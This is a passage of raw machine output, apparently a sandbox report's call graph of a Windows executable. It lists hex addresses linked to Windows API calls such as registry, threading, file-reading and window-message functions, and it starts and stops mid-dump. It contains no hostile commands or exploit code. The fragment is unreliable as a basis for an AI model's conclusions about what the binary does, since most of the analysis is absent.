88391->88407 88408 313c30 68 API calls 88391->88408 88410 35346f 88391->88410 88413 315190 Mailbox 59 API calls 88391->88413 88414 321c9c 59 API calls 88391->88414 88391->88415 88416 31523c 59 API calls 88391->88416 88417 330fe6 59 API calls Mailbox 88391->88417 88391->88419 88470 313add 88391->88470 88477 31bc70 88391->88477 88551 313a40 59 API calls Mailbox 88391->88551 88558 366c62 59 API calls 2 library calls 88391->88558 88559 38a9c3 85 API calls Mailbox 88391->88559 88560 366c1e 59 API calls Mailbox 88391->88560 88561 375ef2 68 API calls 88391->88561 88562 313ea3 88391->88562 88583 37a12a 59 API calls 88391->88583 88395->88391 88396->88419 88556 37a48d 89 API calls 4 library calls 88396->88556 88397->88391 88400->88391 88402 3153b0 266 API calls 88401->88402 88404 353448 88402->88404 88404->88419 88578 3139be 88404->88578 88557 37a48d 89 API calls 4 library calls 88407->88557 88408->88391 88582 37a48d 89 API calls 4 library calls 88410->88582 88413->88391 88414->88391 88552 37a48d 89 API calls 4 library calls 88415->88552 88416->88391 88417->88391 88419->88021 88420->88038 88421->88042 88422->88354 88424 352d51 88423->88424 88427 31a84c 88423->88427 88448 37a48d 89 API calls 4 library calls 88424->88448 88426 352d62 88426->88367 88428 352d6a 88427->88428 88435 31a888 _memmove 88427->88435 88449 37a48d 89 API calls 4 library calls 88428->88449 88431 330fe6 59 API calls Mailbox 88431->88435 88432 352dae 88450 31a9de 266 API calls 88432->88450 88433 3153b0 266 API calls 88433->88435 88435->88431 88435->88432 88435->88433 88436 352dc8 88435->88436 88437 31a975 88435->88437 88438 31a962 88435->88438 88436->88437 88451 37a48d 89 API calls 4 library calls 88436->88451 88437->88367 88438->88437 88447 38a9c3 85 API calls Mailbox 88438->88447 88441 367085 88440->88441 88444 38f1b2 91 API calls 88441->88444 88452 38495b 88441->88452 88442 3670d9 88442->88374 88444->88442 88445->88374 88446->88369 88447->88437 88448->88426 88449->88437 88450->88436 88451->88437 88453 330fe6 Mailbox 59 API calls 88452->88453 88454 38496c 88453->88454 88461 32433f 88454->88461 88457 314d37 84 API calls 88458 38498d GetEnvironmentVariableW 88457->88458 88464 377a51 59 API calls Mailbox 88458->88464 88460 3849aa 88460->88442 88462 330fe6 Mailbox 59 API calls 88461->88462 88463 324351 88462->88463 88463->88457 88464->88460 88466 32374f 88465->88466 88469 32376a 88465->88469 88467 321aa4 59 API calls 88466->88467 88468 323757 CharUpperBuffW 88467->88468 88468->88469 88469->88382 88471 34d3cd 88470->88471 88472 313aee 88470->88472 88473 330fe6 Mailbox 59 API calls 88472->88473 88474 313af5 88473->88474 88475 313b16 88474->88475 88585 313ba5 59 API calls Mailbox 88474->88585 88475->88391 88478 35359f 88477->88478 88489 31bc95 88477->88489 88651 37a48d 89 API calls 4 library calls 88478->88651 88480 31bf3b 88480->88391 88485 31bf25 Mailbox 88485->88480 88633 31c460 88485->88633 88488 31c2ca LockWindowUpdate DestroyWindow GetMessageW 88488->88480 88490 31c2fc 88488->88490 88513 31bca5 Mailbox 88489->88513 88652 315376 60 API calls 88489->88652 88653 36700c 266 API calls 88489->88653 88492 354509 TranslateMessage DispatchMessageW GetMessageW 88490->88492 88491 3536b3 Sleep 88491->88513 88492->88480 88492->88492 88493 35405d WaitForSingleObject 88497 35407d GetExitCodeProcess CloseHandle 88493->88497 88493->88513 88494 31bf54 timeGetTime 88494->88513 88496 31c210 Sleep 88521 31c1fa Mailbox 88496->88521 88518 31c36b 88497->88518 88498 321c9c 59 API calls 88498->88513 88499 321207 59 API calls 88499->88521 88500 3543a9 Sleep 88500->88521 88501 330fe6 59 API calls Mailbox 88501->88513 88503 33083e timeGetTime 88503->88521 88505 31c324 timeGetTime 88650 315376 60 API calls 88505->88650 88507 374148 66 API calls 88507->88521 88508 314d37 84 API calls 88508->88513 88509 354440 GetExitCodeProcess 88516 354456 WaitForSingleObject 88509->88516 88517 35446c CloseHandle 88509->88517 88510 316cd8 244 API calls 88510->88513 88511 396562 110 API calls 88511->88521 88513->88485 88513->88491 88513->88493 88513->88494 88513->88496 88513->88498 88513->88500 88513->88501 88513->88505 88513->88508 88513->88510 88514 316d79 109 API calls 88513->88514 88513->88518 88513->88521 88525 315376 60 API calls 88513->88525 88530 31c26d 88513->88530 88531 31b020 244 API calls 88513->88531 88534 38c355 244 API calls 88513->88534 88535 37a48d 89 API calls 88513->88535 88537 3139be 68 API calls 88513->88537 88538 31a820 244 API calls 88513->88538 88539 313ea3 68 API calls 88513->88539 88540 315190 59 API calls Mailbox 88513->88540 88541 3153b0 244 API calls 88513->88541 88542 366cf1 59 API calls Mailbox 88513->88542 88544 353e13 VariantClear 88513->88544 88545 367aad 59 API calls 88513->88545 88546 353ea9 VariantClear 88513->88546 88547 3141c4 59 API calls Mailbox 88513->88547 88548 353c57 VariantClear 88513->88548 88549 321a36 59 API calls 88513->88549 88550 38e60c 130 API calls 88513->88550 88586 3152b0 88513->88586 88595 319a00 88513->88595 88602 319c80 88513->88602 88654 396655 59 API calls 88513->88654 88655 37a058 59 API calls Mailbox 88513->88655 88656 36e0aa 59 API calls 88513->88656 88657 366c62 59 API calls 2 library calls 88513->88657 88658 3138ff 59 API calls 88513->88658 88659 313a40 59 API calls Mailbox 88513->88659 88514->88513 88516->88513 88516->88517 88517->88521 88518->88391 88519 3538aa Sleep 88519->88513 88520 3544c8 Sleep 88520->88513 88521->88496 88521->88499 88521->88503 88521->88507 88521->88509 88521->88511 88521->88513 88521->88518 88521->88519 88521->88520 88523 321a36 59 API calls 88521->88523 88528 313ea3 68 API calls 88521->88528 88660 372baf 60 API calls 88521->88660 88661 315376 60 API calls 88521->88661 88662 316cd8 266 API calls 88521->88662 88663 3670e2 59 API calls 88521->88663 88664 3757ff QueryPerformanceCounter QueryPerformanceFrequency Sleep QueryPerformanceCounter Sleep 88521->88664 88523->88521 88525->88513 88528->88521 88533 321a36 59 API calls 88530->88533 88531->88513 88533->88485 88534->88513 88535->88513 88537->88513 88538->88513 88539->88513 88540->88513 88541->88513 88542->88513 88544->88513 88545->88513 88546->88513 88547->88513 88548->88513 88549->88513 88550->88513 88551->88391 88552->88381 88553->88419 88554->88419 88555->88396 88556->88419 88557->88419 88558->88391 88559->88391 88560->88391 88561->88391 88727 313c30 88562->88727 88564 313eb3 88565 313f2d 88564->88565 88566 313ebd 88564->88566 88736 31523c 59 API calls 88565->88736 88567 330fe6 Mailbox 59 API calls 88566->88567 88569 313ece 88567->88569 88571 313edc 88569->88571 88572 321207 59 API calls 88569->88572 88570 313f1d 88570->88391 88573 313eeb 88571->88573 88734 321bcc 59 API calls 2 library calls 88571->88734 88572->88571 88575 330fe6 Mailbox 59 API calls 88573->88575 88576 313ef5 88575->88576 88735 313bc8 68 API calls 88576->88735 88579 3139c9 88578->88579 88580 3139f0 88579->88580 88581 313ea3 68 API calls 88579->88581 88580->88410 88581->88580 88582->88419 88583->88391 88584->88419 88585->88475 88587 3152c6 88586->88587 88591 315313 88586->88591 88588 3152d3 PeekMessageW 88587->88588 88587->88591 88589 3152ec 88588->88589 88588->88591 88589->88513 88591->88589 88592 315352 TranslateMessage DispatchMessageW 88591->88592 88593 31533e PeekMessageW 88591->88593 88594 34df68 TranslateAcceleratorW 88591->88594 88665 31359e 88591->88665 88592->88593 88593->88589 88593->88591 88594->88591 88594->88593 88596 319a31 88595->88596 88597 319a1d 88595->88597 88704 37a48d 89 API calls 4 library calls 88596->88704 88670 3194e0 88597->88670 88600 319a28 88600->88513 88601 352478 88601->88601 88603 319cb5 88602->88603 88604 35247d 88603->88604 88607 319d1f 88603->88607 88616 319d79 88603->88616 88605 3153b0 266 API calls 88604->88605 88606 352492 88605->88606 88632 319f50 Mailbox 88606->88632 88713 37a48d 89 API calls 4 library calls 88606->88713 88610 321207 59 API calls 88607->88610 88607->88616 88608 321207 59 API calls 88608->88616 88612 3524d8 88610->88612 88611 332f70 __cinit 67 API calls 88611->88616 88614 332f70 __cinit 67 API calls 88612->88614 88613 3524fa 88613->88513 88614->88616 88615 3139be 68 API calls 88615->88632 88616->88608 88616->88611 88616->88613 88619 319f3a 88616->88619 88616->88632 88617 3153b0 266 API calls 88617->88632 88619->88632 88714 37a48d 89 API calls 4 library calls 88619->88714 88620 314230 59 API calls 88620->88632 88621 31a775 88718 37a48d 89 API calls 4 library calls 88621->88718 88624 315190 Mailbox 59 API calls 88624->88632 88625 3527f9 88625->88513 88629 37a48d 89 API calls 88629->88632 88631 31a058 88631->88513 88632->88615 88632->88617 88632->88620 88632->88621 88632->88624 88632->88629 88632->88631 88712 321bcc 59 API calls 2 library calls 88632->88712 88715 367aad 59 API calls 88632->88715 88716 38ccac 266 API calls 88632->88716 88717 38bc26 266 API calls Mailbox 88632->88717 88719 389ab0 266 API calls Mailbox 88632->88719 88720 3302d4 88633->88720 88635 31c2b6 88635->88480 88638 31c483 88635->88638 88636 3777eb 7 API calls Mailbox 88637 31c46d 88636->88637 88637->88635 88637->88636 88639 321a36 59 API calls 88638->88639 88640 31c4ad 88639->88640 88641 313ea3 68 API calls 88640->88641 88642 31c4c2 Mailbox 88641->88642 88643 321a36 59 API calls 88642->88643 88644 31c4ef 88643->88644 88645 313ea3 68 API calls 88644->88645 88648 31c500 Mailbox 88645->88648 88646 31c524 88646->88488 88648->88646 88725 315376 60 API calls 88648->88725 88726 36700c 266 API calls 88648->88726 88650->88513 88651->88489 88652->88489 88653->88489 88654->88513 88655->88513 88656->88513 88657->88513 88658->88513 88659->88513 88660->88521 88661->88521 88662->88521 88663->88521 88664->88521 88666 3135e2 88665->88666 88668 3135b0 88665->88668 88666->88591 88667 3135d5 IsDialogMessageW 88667->88666 88667->88668 88668->88666 88668->88667 88669 34d273 GetClassLongW 88668->88669 88669->88667 88669->88668 88671 3153b0 266 API calls 88670->88671 88672 31951f 88671->88672 88673 352001 88672->88673 88687 319527 _memmove 88672->88687 88674 315190 Mailbox 59 API calls 88673->88674 88679 319944 88674->88679 88675 3522c0 88711 37a48d 89 API calls 4 library calls 88675->88711 88677 3522de 88677->88677 88678 319583 88678->88600 88681 330fe6 Mailbox 59 API calls 88679->88681 88680 31986a 88682 3522b1 88680->88682 88683 31987f 88680->88683 88695 3196e3 _memmove 88681->88695 88710 38a983 59 API calls 88682->88710 88685 330fe6 Mailbox 59 API calls 88683->88685 88693 31977d 88685->88693 88686 330fe6 59 API calls Mailbox 88686->88687 88687->88675 88687->88678 88687->88679 88687->88686 88688 3196cf 88687->88688 88699 319741 88687->88699 88688->88679 88690 3196dc 88688->88690 88689 330fe6 Mailbox 59 API calls 88692 31970e 88689->88692 88691 330fe6 Mailbox 59 API calls 88690->88691 88691->88695 88692->88699 88705 31cca0 266 API calls 88692->88705 88693->88600 88694 3522a0 88709 37a48d 89 API calls 4 library calls 88694->88709 88695->88689 88695->88692 88695->88699 88699->88680 88699->88693 88699->88694 88700 352278 88699->88700 88702 352253 88699->88702 88706 318180 266 API calls 88699->88706 88708 37a48d 89 API calls 4 library calls 88700->88708 88707 37a48d 89 API calls 4 library calls 88702->88707 88704->88601 88705->88699 88706->88699 88707->88693 88708->88693 88709->88693 88710->88675 88711->88677 88712->88632 88713->88632 88714->88632 88715->88632 88716->88632 88717->88632 88718->88625 88719->88632 88723 3302df 88720->88723 88721 3302e7 88721->88637 88723->88721 88724 382db2 InternetCloseHandle InternetCloseHandle WaitForSingleObject 88723->88724 88724->88723 88725->88648 88726->88648 88728 313e11 88727->88728 88729 313c43 88727->88729 88728->88564 88730 321207 59 API calls 88729->88730 88733 313c54 88729->88733 88731 313e73 88730->88731 88732 332f70 __cinit 67 API calls 88731->88732 88732->88733 88733->88564 88734->88573 88735->88570 88736->88570 88737->88050 88738->88058 88739 31abb7 88740 31abba 88739->88740 88741 31ac39 88740->88741 88742 321207 59 API calls 88740->88742 88759 330588 88741->88759 88742->88741 88746 31ac6b 88747 321207 59 API calls 88746->88747 88748 31ac75 88747->88748 88787 32fe2b 88748->88787 88750 31acbc 88751 31accc GetStdHandle 88750->88751 88752 31ad18 88751->88752 88753 352f39 88751->88753 88754 31ad20 OleInitialize 88752->88754 88753->88752 88794 3770f3 88753->88794 88756 352f49 88800 3777c2 88756->88800 88760 321207 59 API calls 88759->88760 88761 330598 88760->88761 88762 321207 59 API calls 88761->88762 88763 3305a0 88762->88763 88803 3210c3 88763->88803 88766 3210c3 59 API calls 88767 3305b0 88766->88767 88768 321207 59 API calls 88767->88768 88769 3305bb 88768->88769 88770 330fe6 Mailbox 59 API calls 88769->88770 88771 31ac3f 88770->88771 88772 32ff4c 88771->88772 88773 32ff5a 88772->88773 88774 321207 59 API calls 88773->88774 88775 32ff65 88774->88775 88776 321207 59 API calls 88775->88776 88777 32ff70 88776->88777 88778 321207 59 API calls 88777->88778 88779 32ff7b 88778->88779 88780 321207 59 API calls 88779->88780 88781 32ff86 88780->88781 88782 3210c3 59 API calls 88781->88782 88783 32ff91 88782->88783 88784 330fe6 Mailbox 59 API calls 88783->88784 88785 32ff98 RegisterWindowMessageW 88784->88785 88785->88746 88788 32fe3b 88787->88788 88789 36620c 88787->88789 88791 330fe6 Mailbox 59 API calls 88788->88791 88806 37a12a 59 API calls 88789->88806 88793 32fe43 88791->88793 88792 366217 88793->88750 88795 330fe6 Mailbox 59 API calls 88794->88795 88796 3770fd 88795->88796 88797 37710c 88796->88797 88807 376fda InitializeCriticalSectionAndSpinCount 88796->88807 88797->88756 88799 37710a 88799->88756 88801 352f55 FindCloseChangeNotification 88800->88801 88802 3777d0 CreateThread 88800->88802 88801->88754 88802->88801 88813 3777a8 88802->88813 88804 321207 59 API calls 88803->88804 88805 3210cb 88804->88805 88805->88766 88806->88792 88810 377221 88807->88810 88811 37722f GetCurrentProcess GetCurrentProcess DuplicateHandle 88810->88811 88812 377016 InterlockedExchange 88810->88812 88811->88812 88812->88799 88814 3777b2 88813->88814 88816 3777b7 88813->88816 88817 377681 InterlockedExchange 88814->88817 88818 330fe6 Mailbox 59 API calls 88817->88818 88819 3776a8 88818->88819 88820 330fe6 Mailbox 59 API calls 88819->88820 88821 3776bb ReadFile 88820->88821 88822 3776dd 88821->88822 88823 377788 88821->88823 88822->88823 88824 3776e7 EnterCriticalSection 88822->88824 88826 37770f _memmove 88822->88826 88825 377791 InterlockedExchange 88823->88825 88824->88822 88824->88826 88825->88816 88827 37775b LeaveCriticalSection ReadFile 88826->88827 88828 330fe6 Mailbox 59 API calls 88826->88828 88827->88822 88827->88823 88828->88826 88829 311016 88834 325ce7 88829->88834 88832 332f70 __cinit 67 API calls 88833 311025 88832->88833 88835 330fe6 Mailbox 59 API calls 88834->88835 88836 325cef 88835->88836 88837 31101b 88836->88837 88841 325f39 88836->88841 88837->88832 88842 325f42 88841->88842 88843 325cfb 88841->88843 88844 332f70 __cinit 67 API calls 88842->88844 88845 325d13 88843->88845 88844->88843 88846 321207 59 API calls 88845->88846 88847 325d2b GetVersionExW 88846->88847 88848 321821 59 API calls 88847->88848 88849 325d6e 88848->88849 88850 321981 59 API calls 88849->88850 88858 325d9b 88849->88858 88851 325d8f 88850->88851 88873 32133d 88851->88873 88853 325e00 GetCurrentProcess IsWow64Process 88854 325e19 88853->88854 88856 325e98 GetSystemInfo 88854->88856 88857 325e2f 88854->88857 88855 361098 88859 325e65 88856->88859 88869 3255f0 88857->88869 88858->88853 88858->88855 88859->88837 88862 325e41 88865 3255f0 2 API calls 88862->88865 88863 325e8c GetSystemInfo 88864 325e56 88863->88864 88864->88859 88867 325e5c FreeLibrary 88864->88867 88866 325e49 GetNativeSystemInfo 88865->88866 88866->88864 88867->88859 88870 325619 88869->88870 88871 3255f9 LoadLibraryA 88869->88871 88870->88862 88870->88863 88871->88870 88872 32560a GetProcAddress 88871->88872 88872->88870 88874 32134b 88873->88874 88875 321981 59 API calls 88874->88875 88876 32135b 88875->88876 88876->88858 88877 34e438 88884 316152 Mailbox 88877->88884 88879 34efeb 88892 366cf1 59 API calls Mailbox 88879->88892 88881 34eff4 88882 315190 Mailbox 59 API calls 88882->88884 88883 34e2e9 VariantClear 88883->88884 88884->88879 88884->88881 88884->88882 88884->88883 88885 316af8 88884->88885 88887 38e60c 130 API calls 88884->88887 88888 31cfd7 98 API calls 88884->88888 88889 38f1b2 91 API calls 88884->88889 88890 367aad 59 API calls 88884->88890 88891 37a48d 89 API calls 4 library calls 88885->88891 88887->88884 88888->88884 88889->88884 88890->88884 88891->88879 88892->88881 88893 31107d 88898 322fc5 88893->88898 88895 31108c 88896 332f70 __cinit 67 API calls 88895->88896 88897 311096 88896->88897 88899 322fd5 __write_nolock 88898->88899 88900 321207 59 API calls 88899->88900 88901 32308b 88900->88901 88929 3300cf 88901->88929 88903 323094 88936 3308c1 88903->88936 88906 321900 59 API calls 88907 3230ad 88906->88907 88942 324c94 88907->88942 88910 321207 59 API calls 88911 3230c5 88910->88911 88948 3219e1 88911->88948 88913 3230ce RegOpenKeyExW 88914 3230f0 Mailbox 88913->88914 88915 3601a3 RegQueryValueExW 88913->88915 88914->88895 88916 360235 RegCloseKey 88915->88916 88917 3601c0 88915->88917 88916->88914 88928 360247 _wcscat Mailbox __NMSG_WRITE 88916->88928 88918 330fe6 Mailbox 59 API calls 88917->88918 88919 3601d9 88918->88919 88921 32433f 59 API calls 88919->88921 88920 321609 59 API calls 88920->88928 88922 3601e4 RegQueryValueExW 88921->88922 88923 360201 88922->88923 88925 36021b 88922->88925 88924 321821 59 API calls 88923->88924 88924->88925 88925->88916 88926 321a36 59 API calls 88926->88928 88927 324c94 59 API calls 88927->88928 88928->88914 88928->88920 88928->88926 88928->88927 88952 341b70 88929->88952 88932 321a36 59 API calls 88933 330102 88932->88933 88954 330284 88933->88954 88935 33010c Mailbox 88935->88903 88937 341b70 __write_nolock 88936->88937 88938 3308ce GetFullPathNameW 88937->88938 88939 3308f0 88938->88939 88940 321821 59 API calls 88939->88940 88941 32309f 88940->88941 88941->88906 88943 324ca2 88942->88943 88944 324cc4 _memmove 88942->88944 88946 330fe6 Mailbox 59 API calls 88943->88946 88945 330fe6 Mailbox 59 API calls 88944->88945 88947 3230bc 88945->88947 88946->88944 88947->88910 88949 3219fb 88948->88949 88951 3219ee 88948->88951 88950 330fe6 Mailbox 59 API calls 88949->88950 88950->88951 88951->88913 88953 3300dc GetModuleFileNameW 88952->88953 88953->88932 88955 341b70 __write_nolock 88954->88955 88956 330291 GetFullPathNameW 88955->88956 88957 3302b0 88956->88957 88958 3302cd 88956->88958 88959 321821 59 API calls 88957->88959 88960 3219e1 59 API calls 88958->88960 88961 3302bc 88959->88961 88960->88961 88962 32133d 59 API calls 88961->88962 88963 3302c8 88962->88963 88963->88935 88964 3501f8 88965 3501fa 88964->88965 88968 374d18 SHGetFolderPathW 88965->88968 88969 321821 59 API calls 88968->88969 88970 350203 88969->88970 88971 337e83 88972 337e8f __freefls@4 88971->88972 89008 33a038 GetStartupInfoW 88972->89008 88974 337e94 89010 338dac GetProcessHeap 88974->89010 88976 337eec 88977 337ef7 88976->88977 89096 337fd3 58 API calls 3 library calls 88976->89096 89011 339d16 88977->89011 88980 337efd 88981 337f08 __RTC_Initialize 88980->88981 89097 337fd3 58 API calls 3 library calls 88980->89097 89032 33d802 88981->89032 88984 337f17 88985 337f23 GetCommandLineW 88984->88985 89098 337fd3 58 API calls 3 library calls 88984->89098 89051 345153 GetEnvironmentStringsW 88985->89051 88988 337f22 88988->88985 88991 337f3d 88995 337f48 88991->88995 89099 3332e5 58 API calls 3 library calls 88991->89099 88994 337f4e 88996 337f59 88994->88996 89100 3332e5 58 API calls 3 library calls 88994->89100 89061 344f88 88995->89061 89075 33331f 88996->89075 88999 337f61 89000 337f6c __wwincmdln 88999->89000 89101 3332e5 58 API calls 3 library calls 88999->89101 89081 325f8b 89000->89081 89003 337f80 89004 337f8f 89003->89004 89093 333588 89003->89093 89102 333310 58 API calls _doexit 89004->89102 89007 337f94 __freefls@4 89009 33a04e 89008->89009 89009->88974 89010->88976 89103 3333b7 36 API calls 2 library calls 89011->89103 89013 339d1b 89104 339f6c InitializeCriticalSectionAndSpinCount __getstream 89013->89104 89015 339d20 89016 339d24 89015->89016 89106 339fba TlsAlloc 89015->89106 89105 339d8c 61 API calls 2 library calls 89016->89105 89019 339d29 89019->88980 89020 339d36 89020->89016 89021 339d41 89020->89021 89107 338a05 89021->89107 89024 339d83 89115 339d8c 61 API calls 2 library calls 89024->89115 89027 339d88 89027->88980 89028 339d62 89028->89024 89029 339d68 89028->89029 89114 339c63 58 API calls 4 library calls 89029->89114 89031 339d70 GetCurrentThreadId 89031->88980 89033 33d80e __freefls@4 89032->89033 89034 339e3b __lock 58 API calls 89033->89034 89035 33d815 89034->89035 89036 338a05 __calloc_crt 58 API calls 89035->89036 89038 33d826 89036->89038 89037 33d891 GetStartupInfoW 89045 33d8a6 89037->89045 89048 33d9d5 89037->89048 89038->89037 89039 33d831 @_EH4_CallFilterFunc@8 __freefls@4 89038->89039 89039->88984 89040 33da9d 89129 33daad LeaveCriticalSection _doexit 89040->89129 89042 338a05 __calloc_crt 58 API calls 89042->89045 89043 33da22 GetStdHandle 89043->89048 89044 33da35 GetFileType 89044->89048 89045->89042 89046 33d8f4 89045->89046 89045->89048 89047 33d928 GetFileType 89046->89047 89046->89048 89127 33a05b InitializeCriticalSectionAndSpinCount 89046->89127 89047->89046 89048->89040 89048->89043 89048->89044 89128 33a05b InitializeCriticalSectionAndSpinCount 89048->89128 89052 345164 89051->89052 89053 337f33 89051->89053 89130 338a4d 58 API calls 2 library calls 89052->89130 89057 344d4b GetModuleFileNameW 89053->89057 89055 3451a0 FreeEnvironmentStringsW 89055->89053 89056 34518a _memmove 89056->89055 89058 344d7f _wparse_cmdline 89057->89058 89060 344dbf _wparse_cmdline 89058->89060 89131 338a4d 58 API calls 2 library calls 89058->89131 89060->88991 89062 344fa1 __NMSG_WRITE 89061->89062 89063 344f99 89061->89063 89064 338a05 __calloc_crt 58 API calls 89062->89064 89063->88994 89068 344fca __NMSG_WRITE 89064->89068 89065 345021 89066 332f85 _free 58 API calls 89065->89066 89066->89063 89067 338a05 __calloc_crt 58 API calls 89067->89068 89068->89063 89068->89065 89068->89067 89069 345046 89068->89069 89072 34505d 89068->89072 89132 344837 58 API calls __fclose_nolock 89068->89132 89071 332f85 _free 58 API calls 89069->89071 89071->89063 89133 338ff6 IsProcessorFeaturePresent 89072->89133 89074 345069 89074->88994 89076 33332b __IsNonwritableInCurrentImage 89075->89076 89156 33a701 89076->89156 89078 333349 __initterm_e 89079 332f70 __cinit 67 API calls 89078->89079 89080 333368 __cinit __IsNonwritableInCurrentImage 89078->89080 89079->89080 89080->88999 89082 325fa5 89081->89082 89092 326044 89081->89092 89083 325fdf IsThemeActive 89082->89083 89159 33359c 89083->89159 89087 32600b 89171 325f00 SystemParametersInfoW SystemParametersInfoW 89087->89171 89089 326017 89172 325240 89089->89172 89091 32601f SystemParametersInfoW 89091->89092 89092->89003 90207 333459 89093->90207 89095 333597 89095->89004 89096->88977 89097->88981 89098->88988 89102->89007 89103->89013 89104->89015 89105->89019 89106->89020 89108 338a0c 89107->89108 89110 338a47 89108->89110 89112 338a2a 89108->89112 89116 345426 89108->89116 89110->89024 89113 33a016 TlsSetValue 89110->89113 89112->89108 89112->89110 89124 33a362 Sleep 89112->89124 89113->89028 89114->89031 89115->89027 89117 345431 89116->89117 89123 34544c 89116->89123 89118 34543d 89117->89118 89117->89123 89125 338d58 58 API calls __getptd_noexit 89118->89125 89120 34545c HeapAlloc 89121 345442 89120->89121 89120->89123 89121->89108 89123->89120 89123->89121 89126 3335d1 DecodePointer 89123->89126 89124->89112 89125->89121 89126->89123 89127->89046 89128->89048 89129->89039 89130->89056 89131->89060 89132->89068 89134 339001 89133->89134 89139 338e89 89134->89139 89138 33901c 89138->89074 89140 338ea3 _memset ___raise_securityfailure 89139->89140 89141 338ec3 IsDebuggerPresent 89140->89141 89147 33a385 SetUnhandledExceptionFilter UnhandledExceptionFilter 89141->89147 89143 338f87 ___raise_securityfailure 89148 33c826 89143->89148 89145 338faa 89146 33a370 GetCurrentProcess TerminateProcess 89145->89146 89146->89138 89147->89143 89149 33c830 IsProcessorFeaturePresent 89148->89149 89150 33c82e 89148->89150 89152 345b3a 89149->89152 89150->89145 89155 345ae9 5 API calls ___raise_securityfailure 89152->89155 89154 345c1d 89154->89145 89155->89154 89157 33a704 EncodePointer 89156->89157 89157->89157 89158 33a71e 89157->89158 89158->89078 89160 339e3b __lock 58 API calls 89159->89160 89161 3335a7 DecodePointer EncodePointer 89160->89161 89224 339fa5 LeaveCriticalSection 89161->89224 89163 326004 89164 333604 89163->89164 89165 333628 89164->89165 89166 33360e 89164->89166 89165->89087 89166->89165 89225 338d58 58 API calls __getptd_noexit 89166->89225 89168 333618 89226 338fe6 9 API calls __fclose_nolock 89168->89226 89170 333623 89170->89087 89171->89089 89173 32524d __write_nolock 89172->89173 89174 321207 59 API calls 89173->89174 89175 325258 GetCurrentDirectoryW 89174->89175 89227 324ec8 89175->89227 89177 32527e IsDebuggerPresent 89178 360b21 MessageBoxA 89177->89178 89179 32528c 89177->89179 89181 360b39 89178->89181 89180 3252a0 89179->89180 89179->89181 89295 3231bf 89180->89295 89335 32314d 59 API calls Mailbox 89181->89335 89184 360b49 89192 360b5f SetCurrentDirectoryW 89184->89192 89186 3252be GetFullPathNameW 89189 321821 59 API calls 89186->89189 89187 325358 89188 32535f SetCurrentDirectoryW 89187->89188 89191 32536c Mailbox 89188->89191 89190 3252f9 89189->89190 89311 31bbc6 89190->89311 89191->89091 89192->89191 89224->89163 89225->89168 89226->89170 89228 321207 59 API calls 89227->89228 89229 324ede 89228->89229 89338 325420 89229->89338 89231 324efc 89232 3219e1 59 API calls 89231->89232 89233 324f10 89232->89233 89234 321c9c 59 API calls 89233->89234 89235 324f1b 89234->89235 89352 31477a 89235->89352 89238 321a36 59 API calls 89239 324f34 89238->89239 89240 3139be 68 API calls 89239->89240 89241 324f44 Mailbox 89240->89241 89242 321a36 59 API calls 89241->89242 89243 324f68 89242->89243 89244 3139be 68 API calls 89243->89244 89245 324f77 Mailbox 89244->89245 89246 321207 59 API calls 89245->89246 89247 324f94 89246->89247 89355 3255bc 89247->89355 89250 33312d _W_store_winword 60 API calls 89251 324fae 89250->89251 89252 360a54 89251->89252 89253 324fb8 89251->89253 89254 3255bc 59 API calls 89252->89254 89255 33312d _W_store_winword 60 API calls 89253->89255 89256 360a68 89254->89256 89257 324fc3 89255->89257 89259 3255bc 59 API calls 89256->89259 89257->89256 89258 324fcd 89257->89258 89260 33312d _W_store_winword 60 API calls 89258->89260 89263 360a84 89259->89263 89261 324fd8 89260->89261 89262 324fe2 89261->89262 89261->89263 89265 33312d _W_store_winword 60 API calls 89262->89265 89264 3300cf 61 API calls 89263->89264 89266 360aa7 89264->89266 89267 324fed 89265->89267 89268 3255bc 59 API calls 89266->89268 89269 324ff7 89267->89269 89270 360ad0 89267->89270 89273 360ab3 89268->89273 89271 32501b 89269->89271 89275 321c9c 59 API calls 89269->89275 89272 3255bc 59 API calls 89270->89272 89279 3147be 59 API calls 89271->89279 89276 360aee 89272->89276 89274 321c9c 59 API calls 89273->89274 89277 360ac1 89274->89277 89278 32500e 89275->89278 89280 321c9c 59 API calls 89276->89280 89281 3255bc 59 API calls 89277->89281 89282 3255bc 59 API calls 89278->89282 89283 32502a 89279->89283 89284 360afc 89280->89284 89281->89270 89282->89271 89285 314540 59 API calls 89283->89285 89286 3255bc 59 API calls 89284->89286 89287 325038 89285->89287 89288 360b0b 89286->89288 89361 3143d0 89287->89361 89288->89288 89290 31477a 59 API calls 89292 325055 89290->89292 89291 3143d0 59 API calls 89291->89292 89292->89290 89292->89291 89293 3255bc 59 API calls 89292->89293 89294 32509b Mailbox 89292->89294 89293->89292 89294->89177 89296 3231cc __write_nolock 89295->89296 89297 360314 _memset 89296->89297 89298 3231e5 89296->89298 89300 360330 GetOpenFileNameW 89297->89300 89299 330284 60 API calls 89298->89299 89301 3231ee 89299->89301 89302 36037f 89300->89302 89375 3309c5 89301->89375 89304 321821 59 API calls 89302->89304 89306 360394 89304->89306 89306->89306 89308 323203 89393 32278a 89308->89393 89335->89184 89339 32542d Mailbox __write_nolock 89338->89339 89340 321821 59 API calls 89339->89340 89345 325590 Mailbox 89339->89345 89342 32545f 89340->89342 89350 325495 Mailbox 89342->89350 89370 321609 89342->89370 89343 325563 89344 321a36 59 API calls 89343->89344 89343->89345 89346 325584 89344->89346 89345->89231 89348 324c94 59 API calls 89346->89348 89347 321a36 59 API calls 89347->89350 89348->89345 89349 324c94 59 API calls 89349->89350 89350->89343 89350->89345 89350->89347 89350->89349 89351 321609 59 API calls 89350->89351 89351->89350 89353 330fe6 Mailbox 59 API calls 89352->89353 89354 314787 89353->89354 89354->89238 89356 3255c6 89355->89356 89357 3255df 89355->89357 89358 321c9c 59 API calls 89356->89358 89359 321821 59 API calls 89357->89359 89360 324fa0 89358->89360 89359->89360 89360->89250 89362 34d6c9 89361->89362 89365 3143e7 89361->89365 89362->89365 89374 3140cb 59 API calls Mailbox 89362->89374 89364 3144ef 89364->89292 89365->89364 89366 314530 89365->89366 89367 3144e8 89365->89367 89373 31523c 59 API calls 89366->89373 89368 330fe6 Mailbox 59 API calls 89367->89368 89368->89364 89371 321aa4 59 API calls 89370->89371 89372 321614 89371->89372 89372->89342 89373->89364 89374->89365 89376 341b70 __write_nolock 89375->89376 89377 3309d2 GetLongPathNameW 89376->89377 89378 321821 59 API calls 89377->89378 89379 3231f7 89378->89379 89380 322f3d 89379->89380 89381 321207 59 API calls 89380->89381 89382 322f4f 89381->89382 89383 330284 60 API calls 89382->89383 89384 322f5a 89383->89384 89385 322f65 89384->89385 89389 360177 89384->89389 89386 324c94 59 API calls 